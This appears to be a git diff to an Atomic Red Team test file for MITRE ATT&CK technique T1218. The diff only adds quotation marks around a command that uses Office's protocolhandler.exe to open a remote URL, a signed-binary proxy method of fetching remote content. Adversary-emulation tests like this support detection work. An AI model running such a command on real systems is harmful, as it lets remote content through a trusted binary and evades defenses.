diff --git a/atomics/T1218/T1218.yaml b/atomics/T1218/T1218.yaml index 0b10961a..1c1e297d 100644 --- a/atomics/T1218/T1218.yaml +++ b/atomics/T1218/T1218.yaml @@ -122,4 +122,4 @@ atomic_tests: name: command_prompt elevation_required: false command: | - #{microsoft_wordpath}\protocolhandler.exe "ms-word:nft|u|#{remote_url}" + "#{microsoft_wordpath}\protocolhandler.exe" "ms-word:nft|u|#{remote_url}"